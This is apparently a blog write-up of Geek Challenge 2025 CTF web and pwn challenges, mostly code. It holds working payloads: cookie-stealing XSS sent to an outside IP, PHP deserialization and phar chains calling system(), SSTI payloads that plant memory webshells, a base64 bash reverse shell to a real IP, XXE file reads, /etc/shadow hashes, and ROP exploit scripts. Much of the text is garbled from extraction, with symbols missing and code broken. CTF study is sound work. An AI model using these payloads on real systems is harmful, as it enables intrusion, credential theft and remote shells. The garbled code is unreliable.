极客大挑战2025

极客⼤挑战2025

Web:

XSS留⾔板: POP反序列化:

JWT token

⽂件上传:

Ez_read:

ez-seralize

百年继承

路在脚下

Image Viewer PDF Viewer Xross The Doom

PWN:

Web:

?php

$flag = fopen('/my_secret.txt', 'r'); if (strlen($_GET'filename'])  11)  readfile($_GET'filename']);

} else {

echo "Filename too long";

}

打开 ⽂件⽤于读取

没有进⼀步输出或读取(仅仅打开了它),因此可以通过⽂件描述符来读取

/my_secret.txt

Linux 中⼀个进程打开⼀个⽂件时,内核会分配⼀个⽂件描述符给这个⽂件 handle,新打开的⽂件从 3 开始递增,可以通过

或 来访问这些⽂件描述符

/proc/self/fd/<⾃然数>

/dev/fd/<⾃然数>

对该⾃然数爆破得到flag

XSS留⾔板:

XSS绕过:这个是给你⼀个报告给管理员的路由,然后你打⼊XXS代码使其返回flag

/?report=1

⿊名单字符: const blacklist = ["script", "img", " ", "\n", "error", "\"", "'"]

在标签名后可以使⽤斜杠 代替空格

/

Javascript ES6 引⼊的模板字符串使⽤反引号包裹,可⽤于避开单双引号的检测

只有script 标签、img 标签和 error 事件不能⽤,还有许多能⽤的标签和事件处理器

payload是:<svg/onload=fetch( document.cookie)></svg>

http://120.27.113.139:12345/a?

标签也可以

iframe

在服务器上发起⼀个监听的服务

nc -lvvp 12345

常⻅绕过:

https://www.cnblogs.com/zha0gongz1/p/12732356.html https://www.freebuf.com/articles/web/340080.html

https://github.com/BaizeSec/bylibrary /blob/main/docs/速查表/XSS绕过速查表.md

POP反序列化:

?php

show_source( FILE ); error_reporting(0); class All_in_one

{

public $KiraKiraAyu; public $_4ak5ra; public $K4per; public $Samsāra;

public $komiko;

public $Fox; public $Eureka; public $QYQS; public $sleep3r; public $ivory; public $L;

public function set($name, $value){

echo "他还是没有忘记那个".$value."<br>"; echo "收集夏⽇的碎⽚吧<br>";

$fox  $this→Fox;

if ( !($fox instanceof All_in_one) && $fox()==="summer"){ echo "QYQS enjoy summer<br>";

echo "开启循环吧<br>";

$komiko  $this→komiko;

$komiko→Eureka($this→L, $this→sleep3r);

}

}

public function invoke(){ echo "恭喜成功signin!<br>";

echo "welcome to Geek_Challenge2025!<br>";

$f  $this→Samsāra;

$arg  $this→ivory;

$f($arg);

}

public function destruct(){

echo "你能让K4per和KiraKiraAyu组成⼀队吗<br>";

if (is_string($this→KiraKiraAyu) && is_string($this→K4per)) {

if (md5(md5($this→KiraKiraAyu))===md5($this→K4per)){ die("boys和⽽不同<br>");

}

if(md5(md5($this→KiraKiraAyu))==md5($this→K4per)){ echo "BOY♂ sign GEEK<br>";

echo "开启循环吧<br>";

$this→QYQS→partner = "summer";

}

else {

echo "BOY♂ can`t sign GEEK<br>";

echo md5(md5($this→KiraKiraAyu))."<br>"; echo md5($this→K4per)."<br>";

}

}

else{

die("boys堂堂正正");

}

}

public function tostring(){ echo "再⾛⼀步...<br>";

$a  $this→_4ak5ra;

$a();

}

public function call($method, $args){

if (strlen($args[0])4 && ($args[0]+1)10000) echo "再⾛⼀步<br>";

echo $args[1];

}

else{

echo "你要努⼒进窄⻔<br>";

}

}

}

class summer {

public static function find_myself(){ return "summer";

}

}

$payload  $_GET"24_SYC.zip"]; if (isset($payload)) { unserialize($payload);

} else {

echo "没有⼤家的压缩包的话,⽡达西!<br>";

}

原理是php的md5函数在处理 "数字e数字" 这样的字符串时会认为是科学计数法也就是说

md5("0e123") == md5(0) //true

md5("0e123") == md5("0e456") //true

另外的⼀个⼩trick也就是这个⽐较:

strlen($args[0])4 && ($args[0]+1)10000

同样是利⽤了数值字符串的特性例如我们传⼊ˮ2e4“时

直接⽐较会取第⼀位数字也就是2与4进⾏⽐较

但当我们先做加法运算时就会⾃动展开为数字类型,做了强制类型转换成为20001

poc:

?php

error_reporting(0); class All_in_one

{

public $KiraKiraAyu; public $_4ak5ra; public $K4per; public $Samsāra; public $komiko; public $Fox;

public $Eureka; public $QYQS; public $sleep3r; public $ivory="zzz"; public $L;

}

class summer {

public static function find_myself(){ return "summer";

}

}

$a = new All_in_one();

$a→KiraKiraAyu = "f2WfQ";

$a→K4per = "QNKCDZO";

$a→QYQS  new All_in_one();

$a→QYQS*Fox=["summer","find_myself"];

$a→QYQS*L  "2e4";

$a→QYQS→komiko = new All_in_one();

$a→QYQS→sleep3r = new All_in_one();

$a→QYQS→sleep3r→_4ak5ra = new All_in_one();

$a→QYQS→sleep3r→_4ak5ra→ivory = "ls";

$a→QYQS→sleep3r→_4ak5ra→Samsāra = "system"; echo urlencode(serialize($a));

?

JWT token

题⽬是⼀个注册和登录⻚⾯,注册后返回⼀个JWTtoken,然后回显payload⾥⾯的username

密钥很容易就爆破出来了,随便修改,⽤⼾名会通过服务端返回的 HTML 回显到⻚⾯上,这种服务端动态渲染的情况很可能是使

⽤了服务端模板渲染

Express 常搭配⽤的模板引擎有 EJS(ExpressJS 最常⽤的模板引擎)、Pug、、Handlebars 等,我们可以构造⼀个简单的数学运算表达式 Payload 列表进⾏ Fuzz,看看服务端是否执⾏了表达式,参考 Fuzz Payload:

% 7*7 % // EJS #7*7 // Pug

7*7 // Handlebars

服务端存在 EJS SSTI,进⾏命令执⾏:

import random, string, re

from urllib.parse import urljoin import requests, jwt

def rand_email():

s = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(6)) return f"user{s}@example.com"

base = "http://3000-c994bdff-7774-4dc3-91bc-5a2f4989aa2f.challenge.ctfplus.cn/" sess = requests.Session()

email = rand_email()

sess.post(urljoin(base, "/register"), data={"email": email}, allow_redirects=True) token = sess.cookies.get("token")

payload = jwt.decode(token, options={"verify_signature": False}, algorithms=["HS256"])

payload["username"] = "% global.process.mainModule.require ('child_process').execSync ('env') %" secret = "secret"

new_token = jwt.encode(payload, secret, algorithm="HS256")

sess.cookies.clear()

r = sess.get(urljoin(base, "/"), headers={"Cookie": f"token={new_token}"})

m = re.search(r'<strong class="mono">(.*?) !</strong>', r.text, re.DOTALL | re.IGNORECASE) print(m.group(1).strip() if m else r.text)

⽂件上传:

使⽤短标签:?'Hello World'?

可以传⼊

`env`?

`whoami`?

`env`;

('sys'.'tem')('ls');

?

?

?

?

访问回显的PHP⽂件,可以达到RCE

Ez_read:

python写的后端

读取到源码后可以发现常⻅的ssti注⼊点

{{(()[" cl"+"ass "][" b"+"ase "][" subcl"+"asses "()104. init |

attr(' glo'+'bals ')). builtins .exec(" imp"+"ort ('sys').modules[' main ']. dict ['app'].before_request_funcs.setdefault(None, []).append(lambda

: imp"+"ort ('os').popen( imp"+"ort ('flask').request.args.get('ivory')).read());'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaa

from flask import Flask, request, render_template, render_template_string, redirect, url_for, session import os

app  Flask( name , template_folder="templates", static_folder="static") app.secret_key = "key_ciallo_secret"

USERS  

def waf(payload: str) → str:

print(len(payload)) if not payload:

return ""

if len(payload) not in (114, 514):

return payload.replace("(", "") else:

waf = [" class ", " base ", " subclasses ", " globals ", "import","self","session","blueprints","get_debu g_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_respons e","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joine r","namespace","lipsum"]

for w in waf:

if w in payload:

raise ValueError(f"waf")

return payload

@app.route("/") def index():

user = session.get("user")

return render_template("index.html", user=user)

@app.route("/register", methods=["GET", "POST"]) def register():

==

if request.method "POST":

username = (request.form.get("username") or "") password = request.form.get("password") or ""

if not username or not password:

return render_template("register.html", error="ç¨æ·ååå¯ç ä¸è½ä¸ºç©º") if username in USERS:

return render_template("register.html", error="ç¨æ·åå·²åå¨") USERS[username] = {"password": password}

session["user"] = username return redirect(url_for("profile"))

return render_template("register.html")

@app.route("/login", methods=["GET", "POST"]) def login():

==

if request.method "POST":

username = (request.form.get("username") or "").strip() password = request.form.get("password") or ""

user  USERS.get(username)

if not user or user.get("password") password:

!

return render_template("login.html", error="ç¨æ·åæå¯ç é误") session["user"] = username

return redirect(url_for("profile")) return render_template("login.html")

@app.route("/logout") def logout():

session.clear()

return redirect(url_for("index"))

@app.route("/profile") def profile():

user = session.get("user") if not user:

return redirect(url_for("login"))

name_raw = request.args.get("name", user)

try:

filtered = waf(name_raw) tmpl = f"欢è¿ï¼{filtered}"

rendered_snippet = render_template_string(tmpl) error_msg  None

except Exception as e: rendered_snippet = ""

error_msg = f"渲æé误: {e}" return render_template(

"profile.html",

content=rendered_snippet, name_input=name_raw, user=user,

error_msg=error_msg,

)

@app.route("/read", methods=["GET", "POST"]) def read_file():

user = session.get("user") if not user:

return redirect(url_for("login"))

base_dir = os.path.join(os.path.dirname( file ), "story") try:

entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))]) except FileNotFoundError:

entries = []

filename = ""

if request.method == "POST":

filename = request.form.get("filename") or "" else:

filename = request.args.get("filename") or ""

content  None error  None

if filename:

sanitized = filename.replace("../", "")

target_path = os.path.join(base_dir, sanitized) if not os.path.isfile(target_path):

error = f"æä»¶ä¸åå¨: {sanitized}" else:

with open(target_path, "r", encoding="utf-8", errors="ignore") as f:

content = f.read()

return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)

if name == " main ":

app.run(host="0.0.0.0", port=8080, debug=False)

使⽤上⾯的payload

传⼊:profile?name={{(()["cl"%2b"ass"]["b"%2b"ase"]"subcl"%2b"asses"

104.init+|+attr('glo'%2b'bals')).builtins.exec("imp"%2b"ort('sys').modules['main'].dict['app'].before_request_funcs. []).append(lambda+%3aimp"%2b"ort('os').popen(imp"%2b"ort('flask').request.args.get('ivory')).read())%3b'aaaaa可以打⼊内存⻢:之后在路径后⾯加上ivory就可以执⾏任意命令了

ez-seralize

?php

ini_set('display_errors', '0');

$filename = isset($_GET'filename') ? $_GET'filename'] : null;

$content = null;

$error = null;

if (isset($filename) && $filename ! '') {

$balcklist = ["../",".","..","data://","\n","input","

","%","\r","","php://","/etc/passwd","/proc/self/environ","php:file","filter"]; foreach ($balcklist as $v) {

if (strpos($filename, $v) ! false) {

$error = "no no no"; break;

}

}

if ($error

null) {

if (isset($_GET'serialized'])) { require 'function.php';

$file_contents= file_get_contents($filename); if ($file_contents false) {

$error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);

} else {

$content  $file_contents;

}

} else {

$file_contents = file_get_contents($filename); if ($file_contents false) {

$error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);

} else {

$content  $file_contents;

}

}

}

} else {

$error = null;

}

?

===

===

===

读取index.php获得源码,发现function.php,读取⼀下这个⽂件:

?php class A 

public $file; public $luo;

public function construct() {

}

public function toString() {

$function  $this→luo; return $function();

}

}

class B  public $a; public $test;

public function construct() {

}

public function wakeup()

{

echo($this→test);

}

public function invoke() {

$this→a→rce_me();

}

}

class C  public $b;

public function construct($b = null) {

$this→b  $b;

}

public function rce_me() { echo "Success!\n";

system("cat /flag/flag.txt > /tmp/flag");

}

}

?php

class A  public $file; public $luo; } class B  public $a; public $test; }

class C  public $b; public function rce_me() {} }

$c = new C();

$binvoke = new B();

$binvoke→a  $c;

$binvoke→test = 'helper';

$a = new A();

$a→luo  $binvoke;

$entry = new B();

$entry→test  $a;

$entry→a  $c;

@unlink("test.phar");

$phar = new Phar("test.phar");

$phar→startBuffering();

$phar→setStub("?php HALT_COMPILER(); ?");

$phar→addFromString("test.txt", "test");

$phar→setMetadata($entry);

$phar→stopBuffering();

echo "Created payload.phar\n";

?

!--

php -d phar.readonly=0 122.php ⟶

⽣成⼀个恶意的phar⽂件,使⽤phar:// 伪协议触发,本⾝不会执⾏ PHP 代码,但它会在“⽂件操作ˮ时⾃动触发 Phar 的反序列化⾏为,最后读取/tmp/flag即可

读取/tmp/log.txt可以查看到⽂件名然后使⽤phar://触发

?filename=phar://./uploads/1767491545_test.jpg/test.txt&serialized=1

百年继承

python属性污染

这⾥明确表明了继承关系:

class Human():

class Father(Human):

class ExecutionSquad(Human): class Colonel(Father):

⽽途中输⼊的json会作为属性给上校对象赋值:

(上校的weapon属性被赋值为spear,tactic属性被赋值为ambush)

⼈类有⼀个execute_method属性

lambda executor, target: (target. del (), setattr(target, 'alive', False), '处决成功')

这⾥我开始的时候没有表⽰清楚,后来加了hint,实际上是⼀个字符串,然后被eval转化成的lambda匿名函数,这⾥是源码:

method = getattr(self, "execute_method", None) result = eval(method)(executor=self, target=target)[2]

可以看到处决成功的位置为回显位

可以救上校,当然你也可以不管上校的死活直接修改这⾥的执⾏语句即可:

class . base . base .execute_method=lambda executor, target: (1, 1, import ('os').getenv('FLAG'))

路在脚下

使⽤python添加后⻔路由:

{{().class.base.subclasses()104.init.globals.builtins.exec("app = import('sys').modules['main'].dict['app']; rule = app.url_rule_class('/shell', endpoint='shell', methods={'GET'}); app.url_map.add(rule); app.view_functions['shell'] = lambda: import('os').popen(import('flask').request.args.get('ivory')).read()")}}

或者直接反弹shell:

SSTI模板注⼊RCE

{{((sbwaf|attr(' eq '))[' g''lobals ']['s''ys']['modules']['o''s']['po''pen']('bash$IFS}-c$IFS\'{echo,c2ggLWkgP iYgL2Rldi90Y3AvMTIwLjI3LjExMy4xMzkvMTIzNDUgMD4mMQ|{base64,-d}|{bash,-i}\''))['read']()}}

Image Viewer

⼀个简单的在线图⽚⽂件渲染的站点,发现特殊⼀点的地⽅是存在接收svg+xml图⽚格式,发现上传的svg⽂件格式最终被渲染成

png,⾮常典型的svg2png的功能

上传XML格式的SVG图⽚,XXE漏洞导致⽂件读取读取到/flag

?xml version="1.0" standalone="yes"?

!DOCTYPE svg [

!ENTITY xxe SYSTEM "file:/flag" >

]>

<svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/199 9/xlink" version="1.1">

<text font-family="Verdana" font-size="16" x="10" y="40"&xxe;</text></svg>

PDF Viewer

⼀个PDF阅读器:

<script>

x=new XMLHttpRequest; x.onload=function(){

document.write(this.responseText)

};

x.open("GET","file:///etc/shadow"); x.send();

</script>

可以读取到⼀个:

root:*:19507:0:99999:7::: daemon:*:19507:0:99999:7::: bin:*:19507:0:99999:7::: sys:*:19507:0:99999:7:::

sync:*:19507:0:99999:7::: games:*:19507:0:99999:7::: man:*:19507:0:99999:7::: lp:*:19507:0:99999:7::: mail:*:1950

7:0:99999:7::: news:*:19507:0:99999:7::: uucp:*:19507:0:99999:7::: proxy:*:19507:0:99999:7::: www data:*:19507:

0:99999:7::: backup:*:19507:0:99999:7::: list:*:19507:0:99999:7::: irc:*:19507:0:99999:7:::

gnats:*:19507:0:99999:7::: nobody:*:19507:0:99999:7::: _apt:*:19507:0:99999:7::: systemd network:*:20398:0:999 99:7::: systemd-resolve:*:20398:0:99999:7::: messagebus:*:20398:0:99999:7:::

avahi:*:20398:0:99999:7::: geoclue:*:20398:0:99999:7:::

dave:$1$SEKIaQZe$mpWroqFAsiIhRC/i3loON.:20398:0:99999:7:::

john:$1$2On/QORN$6hyMHbZB4zohuV6qvlAt0/:20398:0:99999:7:::

emma:$1$Jsu14ZWx$pIl5A9rEr8px17kpSDQXU0:20398:0:99999:7::: WeakPassword_Admin:$1$wJOmQRtK$Lf3l/z 0uT/EAsFm3vQkuf.:20398:0:99999:7:::

shadow⽂件,拿去使⽤john爆破⼀下就可以出来 WeakPassword_Admin的密码

Xross The Doom

ezphp:

?php

header('Content-type:text/html;charset=utf-8'); error_reporting(0);

highlight_file( FILE );

include_once('flag.php');

if(isset($_GET'syc')&&preg_match('/^Welcome to GEEK 2023!$/i',$_GET'syc') &&$_GET'syc' !'Welcome to G EEK 2023!') {

if (intval($_GET'lover']) 2023&&intval($_GET'lover'] +1) 2024)  if (isset($_POST'qw') &&$_POST'yxx']) {

$array1 (string)$_POST'qw'];

$array2 (string)$_POST'yxx'];

if (sha1($array1) ===sha1($array2)) 

if (isset($_POST'SYC_GEEK.2023')&&($_POST'SYC_GEEK.2023']="Happy to see you!")) { echo$flag;

} else {

echo"再绕最后⼀步吧";

}

} else {

echo"好哩,快拿到flag啦";

}

} else {

echo"这⾥绕不过去,QW可不答应了哈";

}

} else {

echo"嘿嘿嘿,你别急啊";

}

}else {

echo"不会吧不会吧,不会第⼀步就卡住了吧,yxx会瞧不起你的!";

}

?

GEEK0e2a7823-de9e-45a7-84f8-341374e43c1a}

POST http://80-0052be74-08d8-4ade-ad8f-b9e402dd58fa.challenge.ctfplus.cn/?sy c=welcome to geek 2023!&lover=2022e1 HTTP/1.1

Host: 80-0052be74-08d8-4ade-ad8f-b9e402dd58fa.challenge.ctfplus.cn Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Sec-GPC: 1

Accept-Language: zh-CN,zh;q=0.7 Accept-Encoding: gzip, deflate, br x-forwarded-for: 127.0.0.1

x-originating-ip: 127.0.0.1

x-remote-ip: 127.0.0.1

x-remote-addr: 127.0.0.1

x-real-ip: 127.0.0.1

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded Content-Length: 44

qw[]=&yxx[]=&SYCGEEK.2023Happy to see you! PHP特性绕过

PWN:

from pwn import *

target = './pwn'

# p = process(target) # remote('host',port) p=remote('nc1.ctfplus.cn',43529)

elf  ELF(target)

libc  ELF('./libc.so.6')

context.log_level = "debug"

# context(arch='amd64',os='linux',log_level='debug')

# Utility functions def b(data):

"""⾃动将字符串转为bytes"""

if isinstance(data, str):

return data.encode()

elif isinstance(data, bytes):

return data else:

return str(data).encode()

se = lambda data : p.send(data)

sa = lambda delim, data : p.sendafter(delim, data) sl = lambda data : p.sendline(data)

sla = lambda delim, data : p.sendlineafter(delim, data) rc = lambda num : p.recv(num)

rl = lambda : p.recvline()

ru = lambda delims : p.recvuntil(b(delims)) uu32 = lambda data : u32(data.ljust(4, b'\x00')) uu64 = lambda data : u64(data.ljust(8, b'\x00'))

info = lambda tag, addr : log.info(tag + " → " + hex(addr)) ia = lambda : p.interactive()

def dbg():

gdb.attach(p) pause()

# dbg()

rdi  0x00000000004012d3 ret  0x000000000040101a

main  0x40117B

write = elf.plt['write']

payload = b'a'*136 + p64(rdi) + p64(1) + p64(write) + p64(main) sa(b'it !',payload)

ru(p64(main)) rc(0x50)

base = u64(rc(8)) - 0x2a1ca print('base⟹',hex(base))

system = base + libc.sym['system']

bin_sh = base + next(libc.search('/bin/sh'))

payload = b'a'*136 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(system) sa(b'it',payload)

# dbg()

ia()

基本的Ret2csu

from pwn import * import re

# context.log_level = 'debug' context.arch = 'amd64'

# 远程

p = remote('nc1.ctfplus.cn',48647)

# p = process('./math') # 改成你的程序名

p.send(b'a')

for i in range(50):

# 接收直到等号

data = p.recvuntil(b'= ').decode() print(data.strip())

# 匹配形如:Problem 1: 1234 * 5678 

m = re.search(r'(\d+)\s*\*\s*(\d+)', data) if not m:

log.failure("parse error") exit(1)

a = int(m.group(1))

b = int(m.group(2)) ans = a * b

log.success(f'Answer: {a} * {b} = {ans}') p.sendline(str(ans))

# 拿 shell / flag p.interactive()

使⽤正则表达式提取输出字符串的数字计算乘积然后发送

posted @ 2026-01-07 17:36  絮行-l  阅读(8)  评论(0)    收藏  举报